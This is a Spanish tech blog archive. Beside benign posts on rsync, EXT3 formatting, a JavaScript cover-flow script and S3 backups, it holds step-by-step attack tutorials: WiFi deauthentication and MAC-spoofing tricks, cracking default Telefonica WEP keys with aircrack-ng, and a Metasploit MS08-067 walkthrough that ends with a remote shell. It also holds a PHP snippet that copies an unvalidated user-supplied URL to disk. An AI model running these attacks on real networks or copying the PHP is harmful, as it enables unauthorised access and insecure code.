"El modo vibrador está matando la música" (vÃa @palomisimo)Cada dÃa aparecen inventos que abren un abanico de nuevas posibilidades. Lo interesante es que a cualquiera de nosotros se nos puede ocurrir, de repente te pasa algo por la cabeza pero te dices -¡vaya tonterÃa!. A veces en lugar de eso te haces la pregunta del millón: -¿y por qué no?, y ahà es donde nacen las cosas. ![]()
La mayor chorrada jamas programada
Una tarde de principios, mediados o finales de los 90 cuando me pasaba dÃas enteros programando en BASIC (cosa que antes me parecÃa normal y ahora un lujo para unos pocos, el programar todo el dÃa, no el BASIC) se me ocurrió hacer un generador de frases aleatorias a partir de estructuras sencillas y varios puñados de frases en DATAs. ![]()
Cualquier parecido con la realidad es un puro BUG. 10-12-2009 | PHP Problemas de un Rsync de EXT3 a FAT32Tratando de hacer un backup con Rsync de una unidad en EXT3 a un disco duro USB en FAT32 he podido apreciar que en el backup siempre faltan archivos y que Rsync siempre copia de nuevo todo el contenido incluso cuando no ha habido cambios. La razón de todo esto está relacionada con el formato FAT32. Por un lado en FAT no es posible tener en el mismo directorio dos carpetas con el mismo nombre. Esto tampoco es posible en EXT3 pero al ser esta case sensitive te permite tener una carpeta "pruebas" y otra "PRUEBAS" en el mismo directorio. El resultado al tratar de copiar ambas carpetas al disco FAT32 es que la primera se copia correctamente pero la segunda es excluida de la copia. Optar por nombres distintos en las carpetas es la solución además de una práctica recomendada. En cuanto a que Rsync siempre hace un volcado completo incluso cuando los archivos no han cambiado, se debe a que en FAT32 para almacenar la fecha en la que se ha modificado un archivo se dispone de una precisión máxima de solo 2 segundos. Esto hace que no coincida la fecha exacta de EXT3 con la fecha aproximada de FAT32, y dado que Rsync se basa en la comparación de estas fechas para determinar si el archivo ha sido modificado o no desde la última copia, decide volver a hacer el backup. Para estos casos Rsync cuenta con dos soluciones. La primera por medio del parámetro --size-only, con el que solo considerará que deben copiarse de nuevo aquellos archivos que han cambiado su tamaño, pero no su fecha. Y la segunda y más recomendable por medio del parámetro --modify-window=1, que permite especificar un margen de tolerancia entre fechas, en este caso de 1 segundo. En tal caso quedarÃa como sigue: $ rsync -av --modify-window=1 /misDatos /media/discoUSB/ En estos casos se recomienda que el disco duro USB esté en formato EXT3, con lo que no solo no hará falta nada de todo esto sino que además el backup mantendrá intactos los permisos. En primer lugar necesitamos saber cual es el disco que hemos de formatear, usando el comando df veremos un listado de los discos montados. $ df S.ficheros Bloques de 1K Usado Dispon Uso% Montado en /dev/sda1 477770292 448053764 5447136 99% / tmpfs 511984 0 511984 0% /lib/init/rw varrun 511984 104 511880 1% /var/run varlock 511984 0 511984 0% /var/lock udev 511984 2768 509216 1% /dev tmpfs 511984 1116 510868 1% /dev/shm lrm 511984 2004 509980 1% /lib/modules/2.6.27-14-generic/volatile /dev/sdc1 1464778368 385243648 1079534720 27% /media/discoUSB En mi caso el disco duro USB es el último del listado (sdc1) discoUSB. A continuación lo desmontamos. $sudo umount /media/discoUSB Y formateamos en EXT3 $sudo mkfs.ext3 /dev/sdc1
mke2fs 1.41.3 (12-Oct-2008)
Etiqueta del sistema de ficheros=
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
91578368 nodos-i, 366284000 bloques
18314200 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=0
11179 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000, 214990848
Escribiendo las tablas de nodos-i: hecho
Creating journal (32768 blocks): hecho
Escribiendo superbloques y la información contable del sistema de ficheros: hecho
Este sistema de ficheros se revisará automáticamente cada 33 montajes o
180 dÃas, lo que suceda primero. Utilice tune2fs -c o -i para cambiarlo.
Finalmente personalizamos el nombre del disco, en mi caso lo llamaré "Backup" sudo e2label /dev/sdc1 Backup Hay que tener en cuenta que no todos los sistemas operativos pueden trabajar con unidades en EXT2 o 3 por lo que lamentablemente hay veces en que no queda más remedio que hacer uso de los trucos arriba indicados. 16-08-2009 | Linux Campus Party 2009¡Ya estamos aquà un año más!
Llegamos ayer acompañados con nuestros porerels ("portátiles" para los no entendidos) y ya estamos descargando wikipedias y llenando nuestros discos duros. Bueno, yo no. Es que la wikipedia ya la tengo.
Y como aquà se trata de ser productivo termino ya y os dejo con este vÃdeo resumen chiptunero de nuestro primer dÃa.
01-03-2009 | Vida Social Respuestas a preguntas tÃpicas sobre WIFI![]() Corriendo el riesgo de caer en la monotemática voy a volver a hablar de redes WIFI. Esta vez estoy aquà para responder brevemente a algunas de las preguntas que nos hemos hecho todos durante esos domingos de captura intensiva de paquetes. ¿Es posible capturar paquetes de distintos canales al mismo tiempo?No, o al menos con tarjetas atheros. CreÃa haber leÃdo que con tarjetas Intel sà lo era pero no he conseguido encontrar ningún sitio que lo confirme. ¿Cómo proceder con los ESSID ocultos?Cuando ejecutamos Kismet o Airodump podemos ver como algunos APs aparecen con el ESSID oculto o en su lugar aparece la cadena "lenght: 0". En estos casos no está todo perdido. Hay dos maneras sencillas de obtener el ESSID. La primera es (con aidorump-ng abierto) esperar a que un cliente se asocie al AP, lo que automáticamente desvelará el ESSID y lo mostrará en pantalla. La segunda pasa por forzar la desconexión de un cliente del AP y esperar a que se asocie de nuevo. Esto podemos conseguirlo con un ataque deauth. El siguiente ejemplo desconectarÃa del AP a un cliente. aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0 donde la primera MAC corresponderÃa al AP y la segunda al de un cliente conectado a ese mismo AP. Las MACs podemos verlas con airodump o usando el comando C si estamos utilizando Kismet. ¿Cómo actuar contra el filtrado por MAC?Es una práctica habitual y poco efectiva definir una tabla de MACs en el router con la idea de limitar el acceso a la red a unos equipos concretos, pretendiendo asà excluir al resto. En estos casos, la manera de entrar a la red es sencilla y consiste en abrir airodump y esperar a que un cliente se conecte al AP. Esto nos permitirá ver la MAC del cliente que se encuentra entre las permitidas. Tan solo quedará cambiarnos nuestra MAC por la del cliente y lanzarle a este un ataque deauth, con lo que él saldrá y entrarás tú. Podemos cambiarnos la dirección MAC de la siguiente manera: ifconfig ath0 down ifconfig ath0 hw ether 00:00:0E:AD:BE:EF ifconfig ath0 up Con lo que nuestra MAC de ath0 cambiarÃa a 00:00:0E:AD:BE:EF. ¿Cómo utilizar Aircrack con varios archivos .CAP?En los casos en que tengamos que obtener los paquetes en distintas sesiones podemos decirle a aircrack que los utilice todos juntos para resolver la contraseña. aircrack-ng archivo1.cap archivo2.cap Otra opción serÃa unificar todos los archivos en uno solo: aircrack-ng -w archivoresultante.cap archivo1.cap archivo2.cap ¿Problemas al autenticarse?Cuando necesitamos generar tráfico hemos de empezar por autenticarnos al AP (aireplay-ng -1 0...). Un problema común es no poder hacerlo porque el método de autenticación del AP es de clave compartida (Shared Key Authentication) en lugar de abierta (Open System Authentication). En estos casos necesitamos un archivo PRGA xor válido, pero vayamos por partes. En primer lugar hemos de averiguar si el método de autenticación es abierto o no, y esto lo hacemos ejecutamos airodump-ng y fijándonos en la columna AUTH. Si para el AP que estamos buscando la columna AUTH dice "OPN" es que nos encontramos ante una autenticación abierta, de lo contrario una de clave compartida. En el caso de la clave compartida necesitaremos obtener un archivo PRGA xor válido, y esto lo logramos esperando a que un cliente se conecte al AP. Para obtener el archivo hemos de, o bien tener ya airodump-ng en segundo plano guardando paquetes, o bien lanzarlo de la siguiente manera: airodump-ng -c 6 ?bssid 00:00:00:00:00:00 -w clavecompartida ath0 Estos parámetros indicarán a airodump permanecer a la espera de la clave compartida en el canal 6, para el AP con MAC 00:00:00:00:00:00 y guardarla en un archivo con el nombre clavecompartida.xor Podemos esperar a que un cliente se conecte al AP, o desconectar a uno existente. En el caso de optar por esto último lanzaremos el siguiente comando: aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0 donde -0 indica deautenticación, 5 el número de peticiones de deautenticación a enviar, la primera MAC corresponde a la del AP, la segunda a la del cliente conectado y ath0 el nombre de nuestro interface. Hecho esto le echamos un ojo a airodump y nos fijamos si la columna AUTH muestra ahora el valor "PSK", lo cual indicará que ya disponemos del archivo PRGA xor y podemos autenticarnos asÃ: aireplay-ng -1 0 -e WLAN_8K -y clavecompartida-00-00-00-00-00-00-00.xor -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0 donde -1 indica que se trata de una autenticación falsa, 0 que nos autenticamos una sola vez, clavecompartida-00... es el nombre del archivo xor que hemos generado, la primera MAC corresponderÃa a la del AP y la segunda a la nuestra. Algunas veces ocurre que el archivo xor generado no es correcto y hay que repetir el proceso hasta dar con uno válido. ¿Problemas reinyectando tráfico?Algunos APs pueden saturarse cuando reinyectamos tráfico o incluso ignorarlo si lo enviamos demasiado rápido. En estos casos es preferible utilizar el parámetro -x de aireplay, especificándo un numero menor de paquetes por segundo. Recomendablemente entre 30 y 50. Diferencias entre WPA1 y WPA2En el 2001, dos años después de la aparición del procolo WEP (Wired Equivalent Privacy), se descubrieron las primeras vulnerabilidades y la Alianza Wi-Fi se puso a trabajar en un sustituto al protocolo, pero no fué hasta 2003 que lanzaron una primera revisión del nuevo protocolo WPA (Wifi Protected Access). En 2004 y ya finalizado se convirtió en el estandar 802.11i. WPA es por lo tanto una versión algo reducida del estandard WPA2. Este protocolo se basa en el uso de una clave maestra fija y otra dinámica para cada sesión, recayendo la autenticación en el router. En ámbitos empresariales se usa un servidor, normalmente RADIUS, para la autenticación de usuarios. ¿Cómo restablecer la tarjeta de red?Una manera rápida de restablecer la tarjeta de red después de haber parado interfaces, haberlos iniciado en modo monitor o modificado la MAC es reiniciándola con estos sencillos comandos. modprobe -r ath_pci modprobe ath_pci Seguro que vosotros teneis vuestras propias técnicas y la respuesta a muchas otras preguntas. Si quereis compartirlas usando los comentarios del post os estaré eternamente agradecido :D 21-06-2009 | Linux Ojo con las claves WIFI de Telefonica![]() Hace unos dÃas en el taller práctico de seguridad WIFI organizado por AIB hemos podido conocer un sistema más para obtener las contraseñas WEP de los APs o routers de Telefonica. Me estoy refiriendo a los famosos WLAN_xx.
Muchos usuarios se sienten seguros con la clave que trae por defecto sus routers y en esta ocasión vamos a comprobar lo equivocados que pueden estar.
Las claves de estos APs se calculan por medio de un algoritmo que ha resultado ser más débil de lo que a Telefonica le hubiese gustado, Instalar wlandecrypterEn primer lugar descargamos de cualquiera de las webs que recogen esta aplicación una copia para instalar. wget http://www.fileden.com/files/2008/10/11/2138272/wlandecrypter-0.6.tar.gz tar -zxvf wlandecrypter-0.6.tar.gz cd wlandecrypter-0.6/ make $cp wlandecrypter /usr/bin Crear el diccionarioEl diccionario o el listado de claves lo creamos a partir del nombre del AP y su dirección MAC. El nombre del AP es bien fácil de conocer ya que lo vemos directamente en el lÃstado de redes WIFI disponibles, y está formado por la cadena ´WLAN_´ seguido de dos caracteres. Para conocer la dirección MAC podemos usar Kismet o Airodump-ng. En el anterior post donde expliqué el proceso para obtener las claves WEP usé Kismet, sin embargo esta aplicación requiere configurarse previamente y supone una dificultad importante para muchos usuarios, por lo que esta vez lo haremos por medio de airodump-ng. Empezamos por cofigurar nuestra tarjeta en modo monitor. $airmon-ng stop ath0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) $airmon-ng start wifi0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled) ...y ejecutamos airodump-ng para descubrir las redes con sus correspondientes direcciones MAC. $airodump-ng ath0 Hecho esto veremos las redes WIFI a nuestro alrededor junto con la MAC y el tipo de encriptación de cada una de ellas. Con la dirección MAC y el nombre del AP procedemos a crear la tabla de contraseñas con Wlandecrypter especificando ambos valores e indicando el nombre del fichero de contraseñas que generará. $wlandecrypter 20:33:64:30:50:13 WLAN_K7 diccionario
wlandecrypter 0.6 - (c) 2006 nilp0inter2k6_at_gmail.com
------------> Actualizado por *dudux <------------
http://www.seguridadwireless.net
[+] BSSID: 20:33:64:30:50:13
[+] Modelo: P-660HW-D1
[+] ESSID: WLAN_K7
[+] Fichero de claves: diccionario
[+] Fichero guardado
Con esto ya tenemos creado un archivo de texto llamado "diccionario" y cuyo contenido son todas y cada una de las contraseñas posibles. Capturar tráficoEs el momento de capturar algunos paquetes de la red, para lo que usaremos de nuevo airodump-ng indicando esta vez la MAC y el nombre del archivo en el que queremos que almacene los paquetes. $airodump-ng --bssid 00:13:49:95:A3:73 -w captura --channel 7 ath0 Una vez veamos que la columna #Data contempla algunos paquetes podremos interrumpir airodump. Un par de paquetes ya será suficiente. CH 7 ][ Elapsed: 8 s ][ 2009-06-13 00:25
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
20:33:64:30:50:13 8 7 47 0 7 54. WEP WEP WLAN_K7
BSSID STATION PWR Rate Lost Packets Probes
22:35:12:41:12:23 00:2E:61:17:61:44 10 11-11 372 51
Obtener la contraseña WEPHemos creado la tabla de contraseñas con Wlandecrypter y capturado tráfico con airodump-ng, asà que estamos en disposición de ejecutar aircrack para dar con la contraseña correcta. Esta vez usaremos el parámetro -w de aircrack para especificar un diccionario, que no es otro que el archivo generado por wlandecrypter, y el parámetro -K, para que aircrack no trate de obtener la contraseña por heurÃstica sino comparando cada paquete con las distintas claves posibles. $aircrack-ng -w diccionario captura-01.cap -K
[00:00:32] Tested 48157 keys (got 22 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
KEY FOUND! [ 1A:21:32:43:54:65:76:87:98:39:43:43:46 ] (ASCII: XXXXXXXXXXXXX )
Decrypted correctly: 100%
Y ahà la tenemos. La clave del AP obtenida en cuestión de segundos (sÃ, la he ocultado a drede!).
Después de esto no deberÃas permitirte tener la contraseña por defecto de tu router ni un solo dÃa más. Cambia el nombre del AP y utiliza WPA en lugar de WEP, con una contraseña larga, alfanumérica y que no corresponda a una palabra que pueda quedar recogida en un diccionario. Dormirás más tranquilo.
Nota: Imagen del chiste robada malament de Creabits.com 13-06-2009 | Linux Hackeando como en las pelÃculas![]() El tÃtulo del post no es mio, es el que dieron en Blackhat las Vegas cuando presentaron la versión 2.2 de Metasploit, ¡y nada más lejos de la realidad!. Metasploit (ahora en su versión 3.3) es una potentÃsima a la vez que sencilla herramienta para explotar las vulnerabilidades de sistemas operativos y software en general. Su uso se basa en escanear los puertos abiertos de un equipo, utilizarlos para explotar posibles fallos de seguridad y lograr asà obtener una shell, crear usuarios (con permisos de administrador) o hasta un escritorio remoto. Esta vez voy a llevar a cabo un ataque a modo de ejemplo contra un equipo con Windows 2000. El sistema operativo de la victima no es tan importante como pueda parecer, pues el éxito de la operación depende más de los puertos abiertos y de las vulnerabilidades que contenga la vÃctima. En este aspecto Metasploit es realmente eficaz ya que incorpora actualizaciones con frecuencia. En primer lugar será necesario tener instalada la aplicación (aquà puedes ver cómo hacerlo) y conocer algunos conceptos básicos:
Identificando al protagonistaEl protagonista de nuestra pelÃcula se encuentra en algún punto de la red y vamos a descubrirlo escaneándola con NMAP. e indicando el rango de Ips. juansa@compiuta:~$ nmap 192.168.1.1-255 Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-02 22:37 CEST Interesting ports on 192.168.1.1: Not shown: 1710 filtered ports PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp closed ftp 23/tcp closed telnet 80/tcp open http 1723/tcp open pptp Interesting ports on 192.168.1.102: Not shown: 1713 closed ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Interesting ports on 192.168.1.109: Not shown: 1704 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 307/tcp filtered unknown 315/tcp filtered dpsi 445/tcp open microsoft-ds 507/tcp filtered crs 817/tcp filtered unknown 1025/tcp open NFS-or-IIS 1400/tcp filtered cadkey-tablet 2048/tcp filtered dls-monitor 2301/tcp filtered compaqdiag Nmap done: 255 IP addresses (3 hosts up) scanned in 135.113 seconds juansa@compiuta:~$ Como puede apreciarse NMAP ha devuelto tres resultados. El primero (192.168.1.1) corresponde al router, el segundo es mi propio equipo (192.168.1.102) y el tercero nuestra vÃctima (192.168.1.109). Curiosidad que sà viene al caso: nada mejor que instalar un Windows 2000 para tener de entrada nada menos que 11 puertos a la escucha. :D De entre tanto puerto no vamos a necesitar más que uno. El puerto 445/tcp es bien sabido que tiene vulnerabilidades, y en este caso la vÃctima no ha instalado el parche correspondiente, por lo que ya tenemos todo lo que necesitamos para el siguiente paso. Preparando el ataqueEjecutamos Metasploit. juansa@compiuta:~$ cd /opt/MSF/trunk/ juansa@compiuta:/opt/MSF/trunk$ ./msfconsole Habiendo decidido el puerto queda por saber el exploit que usaremos. Consultando la documentación de Metasploit vemos que para el puerto 445/tcp existen varios exploits. También puede verse una lista de los exploits disponibles por medio del comando show exploits. En mi caso me quedaré con el siguiente: windows/smb/ms08_067_netapi. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > Ahora seleccionamos el payload que inyectaremos. Podemos ver los payloads compatibles con el exploit seleccionado con el comando show payloads. msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ... msf exploit(ms08_067_netapi) > La lista es bien grande, asà que solo he mostrado los tres primeros payloads. Seleccionaremos el payload windows/shell_bind_tcp, que nos abre una shell. msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp payload => windows/shell_bind_tcp msf exploit(ms08_067_netapi) > Ahora nos queda ver el resto de parámetros necesarios antes de ejecutar el ataque. Para ello tenemos el comando show options msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > Podemos ver como de todos los parametros a introducir tan solo hace falta especificar uno: RHOST que como bien se indica corresponde a la IP de la vÃctima (the target address). Indiquémoslo. msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109 RHOST => 192.168.1.109 msf exploit(ms08_067_netapi) > ¡Ejecutando el ataque!Victima identificada, parámetros establecidos... lo tenemos todo. Ya solo nos queda ejecutar el ataque. Mirad que fácil. msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows 2000 - lang:Spanish [*] Selected Target: Windows 2000 Universal [*] Triggering the vulnerability... [*] Command shell session 1 opened (192.168.1.102:40535 -> 192.168.1.109:4444) Microsoft Windows 2000 [Versi�n 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> Y aquà lo teneis, el shell de Windows 2000 a nuestra disposición!
Nota: Imagen del post robada malament de la web ScarletMidnight.com 03-06-2009 | Linux jsFlow: Cover Flow para Javascript![]() Imagen capturada de jsFlow.
Buscando la manera de conseguir el efecto cover flow he encontrado desde aplicaciones en PHP y Javascript hasta tutoriales para hacerlo manualmente en Photoshop o Flash. En mi caso necesito obtener el cover flow de una imagen en tiempo real, por lo que he descartado cualquier método a golpe de ratón. Con flash cada vez me hablo menos y por otro lado dejarle la carga del proceso al servidor es algo que querÃa evitar, asà que la única opción posible era Javascript. Encontré este bonito script para generar el cover flow de cualquier imagen, pero al leerme el acuerdo de licencia (para una vez que lo hago...) se me quitaron las ganas de usarlo por sus restricciones. Sin embargo le debo a ese acuerdo de licencia que en estos momentos pueda enseñaros mi propio Cover FLow para Javascript: jsFlow, el cual por supuesto sà va a poder usarse en cualquier web, independientemente de la cantidad de publicidad y/o pornografÃa que se recoja en ella, o de los trillones que facture anualmente, si se diera el caso. jsFlow permite por medio de una sencilla llamada a un función obtener el efecto cover flow de una imagen. Su sintaxis es la siguiente: jsFlow(idImage,reflection,light,angle,deep,imageSource)
Veamos algunos ejemplosEl siguiente script muestra jsFlow en funcionamiento. Pulsando sobre cada uno de los botones se ejecuta la función jsFlow variando el ángulo. ![]()
¿Cómo funciona jsFlow?Para los más curiosos paso a explicar el modo de trabajo de jsFlow.
// Definimos la función jsFlow
function jsFlow(idImage,reflection,light,angle,deep,imageSource){
/*
Si no se ha especificado una imagen de origen alternativa (imageSource) usaremos la misma que haya en idImage.
Cargamos en memoria la imagen, y creamos un canvas o lienzo que usaremos para trabajar la imagen.
*/
imageSource=(!imageSource)?idImage:imageSource;
var image = document.getElementById(imageSource);
var reflexCanvas = document.createElement("canvas");
var reflexCanvasContext = reflexCanvas.getContext("2d");
/*
Obtenemos el tamaño de la imagen y le asignamos el mismo a nuestro canvas haciéndolo más alto para que
podamos dibujar el reflejo.
*/
var w = image.width;
var h = image.height;
reflexCanvas.width = w;
reflexCanvas.height = h + reflection;
/*
Convertimos el parámetro angle expresado en grados a radianes y calculamos el ancho con el que veremos la imagen.
*/
radianes = ((90+angle) * (Math.PI/180));
w2 = Math.abs(parseInt(Math.sin(radianes)*w));
/*
Copiamos la imagen en el canvas, aplicamos la compresión tal, que nos de la imagen del ancho calculado anteriormente y obtenemos una matriz de los datos para poder trabajar la imagen.
*/
reflexCanvasContext.drawImage(image,0,0,w,h,0,0,w2,h);
var imageData = reflexCanvasContext.getImageData(0,0, w, h+reflection);
/*
Aplicamos el reflejo leyendo los pÃxeles de la parte inferior de la imagen y escribiéndolos bajo esta, respetando el color y aplicando el canal alfa correspondiente a la luz indicada en el parámetro light.
En la matriz cada pixel viene expresado por 4 valores: Rojo, Verde, Azul y Alfa, por lo que multiplicamos por 4 para obtener el pixel de cada coordenada.
*/
for (y = 0; y <= reflection; y++){
for (x = 0; x <= w2; x++){
origen = (w*(h-y)+x)*4; // = ((h-y)*4)*w+(x*4)
destino = (w*(h+y)+x)*4; // = ((h+y)*4)*w+(x*4)
imageData.data[destino] = imageData.data[origen];
imageData.data[destino+1] = imageData.data[origen+1];
imageData.data[destino+2] = imageData.data[origen+2];
imageData.data[destino+3] = light-(y*light)/reflection;
}
}
/*
Volcamos la matriz que hemos obtenido en el canvas.
*/
reflexCanvasContext.putImageData(imageData,0,0);
/*
Sustituimos la imagen idImage por el canvas, que contiene la versión comprimida y con reflejo, manteniéndole el mismo Id.
*/
document.getElementById(idImage).parentNode.replaceChild(reflexCanvas,document.getElementById(idImage));
reflexCanvas.id = idImage;
/*
Creamos un nuevo canvas, esta vez para trabajar la perspectiva de la imagen.
*/
var perspectiveCanvas = document.createElement("canvas");
var perspectiveCanvasContext = perspectiveCanvas.getContext("2d");
/*
Asignamos al nuevo canvas el tamaño exacto para contener la imagen con el reflejo que habÃamos calculado.
*/
perspectiveCanvas.width = w2;
perspectiveCanvas.height = h + reflection;
/*
Calculamos la posición del extremo opuesto de la imagen teniendo en cuenta el ángulo indicado.
*/
h2 = Math.abs(parseInt (Math.cos(radianes) * deep));
/*
Aplicamos la perspectiva recorriendo la imagen horizontalmente y aplicando la reducción proporcinal de cada columna
*/
for (x = 0; x <= w2; x++){
crop=(x * h2) / w2;
size=h + reflection - crop;
pos=( angle > 90)?w2 - x:x;
perspectiveCanvasContext.drawImage(reflexCanvas,pos,0,1,h+reflection,pos,crop/2,1,size);
}
/*
Sustituimos la imagen calculada por la original manteniéndole el mismo Id.
*/
document.getElementById(idImage).parentNode.replaceChild(perspectiveCanvas,reflexCanvas);
perspectiveCanvas.id = idImage;
}
Algunas caracterÃsticas de jsFlow:
Y para terminar una sencilla aplicación a modo de ejemplo de jsFlow recorriendo cada ángulo de una imagen, espero que os guste ¡y lo incluyáis en vuestros trabajos! ![]() 28-04-2009 | PHP Tiempos viejunos: Zordao UniverzáOtra super producción, probablemente la última que rodó la secta, resucita de la cinta VHS y salta al mundo digital para asegurarse un futuro mejor en nuestros discos duros.
¡Flipadla ahora que podeis!
Sinopsis:
Konamiman, cientÃfico lider del Pont D´Inca, logra hacer un robot capaz de reconocer órdenes por voz. Una vez concluido decide probarlo con sujetos extraños aprovechando la visita del Paulito, quien con sus órdenes incoherentes consigue poner en peligro la lógica del robot. ¿Qué órdenes le da Paulito al robot?, ¿Conseguirá Konamiman recordar la clave de desconexión a tiempo?, ¿Tiene que doler que te impacte un limón en la cara?, ¿Qué es esto tan oscuro? Ehhh? ¡Juuua!
11-04-2009 | Secta Usa la API de Pixlr en tus aplicaciones¿Tienes una aplicación web que trabaje con imágenes y te interesa poder editarlas remotamente?, ¿no tienes Photoshop y has de retocar alguna imagen?, entonces Pixlr es la solución. Un editor online al más puro estilo Photoshop, intuitivo, gratuito, no requiere ningún tipo de registro y cuenta con esta API para implementarlo en tus proyectos. Concretamente vamos a ver como enviar una imagen a Pixlr para editarla y posteriormente recibirla en nuestro servidor con solo dos sencillos scripts. abrir.php - EnvÃa a Pixlr una imagen para editar< ?php
// Idioma
$url.="&loc=es";
// URL de la imagen que queremos editar
$url.="&image=http://www.mipagina.com/imagen.jpg";
// TÃtulo de la imagen
$url.="&title=Prueba";
// Metodo a usar para comunicarnos con nuestro servidor
$url.="&method=GET";
// Nombre que le daremos al botón de guardar
$url.="&referrer=imagen%20en%20mi%20servidor";
// URL donde se encuentra el script que recogerá la imagen guardada
$url.="&target=" . urlencode("http://www.miservidor.com/guardar.php");
// Establecemos el enlace con Pixlr
echo"< a href =´http://www.pixlr.com/editor/?$url´>Editar con Pixlr< /a>";
?>
Una vez ejecutado el script veremos que pulsando el enlace se nos abre Pixlr con la imagen indicada cargada por defecto.
Llevamos a cabo la edición de la imagen, pulsamos guardar y vemos como aparece la opción "Guardar como imagen en mi servidor" que hemos definido anteriormente.
Esta opción ejecutará el siguiente script que tomará la imagen resultante y la guardará en nuestro servidor. 2. guardar.php | Recibe la imagen editada desde Pixlr< ?php // Obtenemos los parámetros $image = $_GET[´image´]; $type = $_GET[´type´]; $state = $_GET[´state´]; $filename = $_GET[´title´]; // Establecemos el path donde guardaremos la imagen $image_path = "/imagen.".$type; // Copiamos la imagen desde el servidor Pixlr al nuestro copy($image,$image_path); ?> 11-04-2009 | PHP Haz Backups en Amazon S3 desde LinuxTodos sabemos que los servidores con velocidad, disponibilidad y varios cientos de gigas para almacenamiento no están al alcance de cualquiera. Las tarifas que suelen acompañar a este tipo de servicios han hecho que más de uno optimice al máximo los datos antes de subirlos a Internet, se piense dos veces qué incluir y qué no o que decida montarse un servidor casero con las limitaciones que esto implica (por nombrar dos: velocidad y seguridad). Pero con la llegada del servicio de almacenamiento masivo S3 de Amazon, podemos disfrutar de alta disponibilidad de datos, velocidad y espacio ilimitado a bajo coste, como puede verse en la tabla de precios de Amazon S3. El servicio funciona de tal manera que pagamos a razón del uso que hacemos. Cuanto más datos alojemos y cuanto más tráfico generemos más pagaremos, pero al contrario de lo que pueda parecer las tarifas son tan bajas que el resultado es un ahorro considerable. A modo de ejemplo alojar 50Gb y generar un tráfico de 20Gb durante un mes nos costarÃa poco más de 10 Euros. Para cálculos concretos Amazon dispone de esta calculadora online. Para hacer uso de S3 el primer requisito es registrarse, por lo que si no lo has hecho ya puedes seguir este link para registrarte, o entrar en el portal de Amazon. El servidor de S3 tiene sus particularidades, y a diferencia de un hosting convencional no tendremos ninguna cuenta FTP/sFTP o similar, asà que para trabajar cómodamente con él lo mejor es hacer uso de alguna de las herramientas que se han ido desarrollando alrededor del servicio. Una de las listas más completas la podemos encontrar en el blog de Jeremy Zawodny. Para hacer backups lo mejor que he encontrado es S3sync, una herramienta muy similar a rSync y que además es gratuita y open source. Antes de instalar S3sync conviene asegurarnos de que contamos con una versión de Ruby actualizada. Lo he probado tanto en Ubuntu como en Fedora y en ambos la versión preinstalada ha sido suficiente. Es importante comentar que existe una versión S3sync descontinuada, y que la versión que vamos a instalar es la nueva, la reescrita en Ruby. [root@domU-12-31-39-02-68-55 /]# ruby -v ruby 1.8.4 (2005-12-24) [i386-linux] En este caso la versión de Ruby es reciente, por lo que se puede instalar S3sync sin problemas. Descargamos la aplicación del portal de Amazon S3. [root@domU-12-31-39-02-68-05 /]# wget http://s3.amazonaws.com/ServEdge_pub/s3sync/s3sync.tar.gz
--05:36:39-- http://s3.amazonaws.com/ServEdge_pub/s3sync/s3sync.tar.gz
=> `s3sync.tar.gz´
Resolving s3.amazonaws.com... 72.21.211.148
